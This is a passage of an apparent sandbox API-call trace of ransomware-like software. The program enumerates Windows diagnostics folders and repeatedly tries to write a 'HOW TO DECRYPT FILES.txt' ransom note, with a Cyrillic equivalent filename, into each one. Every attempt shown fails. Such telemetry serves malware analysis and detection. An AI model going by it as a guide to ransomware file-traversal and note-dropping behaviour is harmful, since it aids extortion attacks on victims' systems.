"c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt")) returned 0xffffffff [0126.335] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.336] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.336] CloseHandle (hObject=0xffffffff) returned 0 [0126.336] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="TS_AudioService.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\TS_AudioService.ps1") returned="C:\\Windows\\diagnostics\\system\\Audio\\TS_AudioService.ps1" [0126.336] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.336] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_DisabledInCPL.ps1") returned -1 [0126.336] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_DisabledInCPL.ps1") returned -1 [0126.336] lstrcmpiA (lpString1="", lpString2="TS_DisabledInCPL.ps1") returned -1 [0126.336] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Audio\\TS_AudioService.ps1") returned="TS_AudioService.ps1" [0126.336] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Audio\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\") returned="C:\\Windows\\diagnostics\\system\\Audio\\" [0126.336] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\") returned="" [0126.336] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" [0126.336] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt")) returned 0xffffffff [0126.337] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.337] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.337] CloseHandle (hObject=0xffffffff) returned 0 [0126.337] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="TS_DisabledInCPL.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\TS_DisabledInCPL.ps1") returned="C:\\Windows\\diagnostics\\system\\Audio\\TS_DisabledInCPL.ps1" [0126.337] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.337] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_LowVolume.ps1") returned -1 [0126.337] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_LowVolume.ps1") returned -1 [0126.338] lstrcmpiA (lpString1="", lpString2="TS_LowVolume.ps1") returned -1 [0126.338] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Audio\\TS_DisabledInCPL.ps1") returned="TS_DisabledInCPL.ps1" [0126.338] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Audio\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\") returned="C:\\Windows\\diagnostics\\system\\Audio\\" [0126.338] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\") returned="" [0126.338] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" [0126.338] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt")) returned 0xffffffff [0126.338] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.338] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.338] CloseHandle (hObject=0xffffffff) returned 0 [0126.338] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="TS_LowVolume.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\TS_LowVolume.ps1") returned="C:\\Windows\\diagnostics\\system\\Audio\\TS_LowVolume.ps1" [0126.339] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.339] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_Mute.ps1") returned -1 [0126.339] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_Mute.ps1") returned -1 [0126.339] lstrcmpiA (lpString1="", lpString2="TS_Mute.ps1") returned -1 [0126.339] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Audio\\TS_LowVolume.ps1") returned="TS_LowVolume.ps1" [0126.339] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Audio\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\") returned="C:\\Windows\\diagnostics\\system\\Audio\\" [0126.339] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\") returned="" [0126.339] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" [0126.339] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt")) returned 0xffffffff [0126.339] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.340] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.340] CloseHandle (hObject=0xffffffff) returned 0 [0126.340] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="TS_Mute.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\TS_Mute.ps1") returned="C:\\Windows\\diagnostics\\system\\Audio\\TS_Mute.ps1" [0126.340] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.340] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_NotDefault.ps1") returned -1 [0126.340] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_NotDefault.ps1") returned -1 [0126.340] lstrcmpiA (lpString1="", lpString2="TS_NotDefault.ps1") returned -1 [0126.340] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Audio\\TS_Mute.ps1") returned="TS_Mute.ps1" [0126.340] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Audio\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\") returned="C:\\Windows\\diagnostics\\system\\Audio\\" [0126.340] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\") returned="" [0126.340] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" [0126.340] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt")) returned 0xffffffff [0126.341] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.341] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.341] CloseHandle (hObject=0xffffffff) returned 0 [0126.341] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="TS_NotDefault.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\TS_NotDefault.ps1") returned="C:\\Windows\\diagnostics\\system\\Audio\\TS_NotDefault.ps1" [0126.341] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.341] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_UnpluggedIn.ps1") returned -1 [0126.342] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_UnpluggedIn.ps1") returned -1 [0126.342] lstrcmpiA (lpString1="", lpString2="TS_UnpluggedIn.ps1") returned -1 [0126.342] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Audio\\TS_NotDefault.ps1") returned="TS_NotDefault.ps1" [0126.342] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Audio\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\") returned="C:\\Windows\\diagnostics\\system\\Audio\\" [0126.342] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\") returned="" [0126.342] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" [0126.342] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt")) returned 0xffffffff [0126.342] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.342] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.342] CloseHandle (hObject=0xffffffff) returned 0 [0126.342] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="TS_UnpluggedIn.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\TS_UnpluggedIn.ps1") returned="C:\\Windows\\diagnostics\\system\\Audio\\TS_UnpluggedIn.ps1" [0126.343] lstrcmpA (lpString1=".", lpString2="Device") returned -1 [0126.343] lstrcmpA (lpString1="..", lpString2="Device") returned -1 [0126.343] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\*.*") returned="*.*" [0126.343] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\", lpString2="Device" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device") returned="C:\\Windows\\diagnostics\\system\\Device" [0126.343] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\Device\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0126.370] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0126.371] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0126.371] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0126.371] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.371] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CL_DetectingDevice.ps1") returned 1 [0126.371] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CL_DetectingDevice.ps1") returned 1 [0126.371] lstrcmpiA (lpString1="", lpString2="CL_DetectingDevice.ps1") returned -1 [0126.371] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Device\\*.*") returned="*.*" [0126.372] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Device\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\") returned="C:\\Windows\\diagnostics\\system\\Device\\" [0126.372] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Device\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Device\\") returned="" [0126.372] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" [0126.372] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt")) returned 0xffffffff [0126.372] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.372] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.373] CloseHandle (hObject=0xffffffff) returned 0 [0126.373] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="CL_DetectingDevice.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\CL_DetectingDevice.ps1") returned="C:\\Windows\\diagnostics\\system\\Device\\CL_DetectingDevice.ps1" [0126.373] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.373] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CL_Utility.ps1") returned 1 [0126.373] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CL_Utility.ps1") returned 1 [0126.373] lstrcmpiA (lpString1="", lpString2="CL_Utility.ps1") returned -1 [0126.373] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Device\\CL_DetectingDevice.ps1") returned="CL_DetectingDevice.ps1" [0126.373] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Device\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\") returned="C:\\Windows\\diagnostics\\system\\Device\\" [0126.373] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Device\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Device\\") returned="" [0126.373] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" [0126.374] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt")) returned 0xffffffff [0126.374] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.374] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.374] CloseHandle (hObject=0xffffffff) returned 0 [0126.374] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="CL_Utility.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\CL_Utility.ps1") returned="C:\\Windows\\diagnostics\\system\\Device\\CL_Utility.ps1" [0126.375] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.375] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DB_DeviceErrorLibrary.ps1") returned 1 [0126.375] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DB_DeviceErrorLibrary.ps1") returned 1 [0126.375] lstrcmpiA (lpString1="", lpString2="DB_DeviceErrorLibrary.ps1") returned -1 [0126.375] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Device\\CL_Utility.ps1") returned="CL_Utility.ps1" [0126.375] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Device\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\") returned="C:\\Windows\\diagnostics\\system\\Device\\" [0126.375] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Device\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Device\\") returned="" [0126.375] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" [0126.375] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt")) returned 0xffffffff [0126.375] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.376] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.376] CloseHandle (hObject=0xffffffff) returned 0 [0126.376] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="DB_DeviceErrorLibrary.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\DB_DeviceErrorLibrary.ps1") returned="C:\\Windows\\diagnostics\\system\\Device\\DB_DeviceErrorLibrary.ps1" [0126.376] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.376] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.diagpkg") returned 1 [0126.376] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.diagpkg") returned 1 [0126.376] lstrcmpiA (lpString1="", lpString2="DiagPackage.diagpkg") returned -1 [0126.376] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Device\\DB_DeviceErrorLibrary.ps1") returned="DB_DeviceErrorLibrary.ps1" [0126.376] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Device\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\") returned="C:\\Windows\\diagnostics\\system\\Device\\" [0126.377] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Device\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Device\\") returned="" [0126.377] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" [0126.377] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt")) returned 0xffffffff [0126.377] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.377] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.377] CloseHandle (hObject=0xffffffff) returned 0 [0126.377] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="DiagPackage.diagpkg" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\DiagPackage.diagpkg") returned="C:\\Windows\\diagnostics\\system\\Device\\DiagPackage.diagpkg" [0126.378] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.378] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.dll") returned 1 [0126.378] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.dll") returned 1 [0126.378] lstrcmpiA (lpString1="", lpString2="DiagPackage.dll") returned -1 [0126.378] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Device\\DiagPackage.diagpkg") returned="DiagPackage.diagpkg" [0126.378] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Device\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\") returned="C:\\Windows\\diagnostics\\system\\Device\\" [0126.379] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Device\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Device\\") returned="" [0126.379] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" [0126.379] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt")) returned 0xffffffff [0126.379] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.379] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.379] CloseHandle (hObject=0xffffffff) returned 0 [0126.379] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="DiagPackage.dll" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\DiagPackage.dll") returned="C:\\Windows\\diagnostics\\system\\Device\\DiagPackage.dll" [0126.380] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0126.380] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0126.380] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Device\\DiagPackage.dll") returned="DiagPackage.dll" [0126.380] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="en-US" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\en-US") returned="C:\\Windows\\diagnostics\\system\\Device\\en-US" [0126.380] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\Device\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x234355f4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x501562, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0126.380] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0126.381] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0126.381] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0126.381] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.381] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CL_LocalizationData.psd1") returned 1 [0126.381] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CL_LocalizationData.psd1") 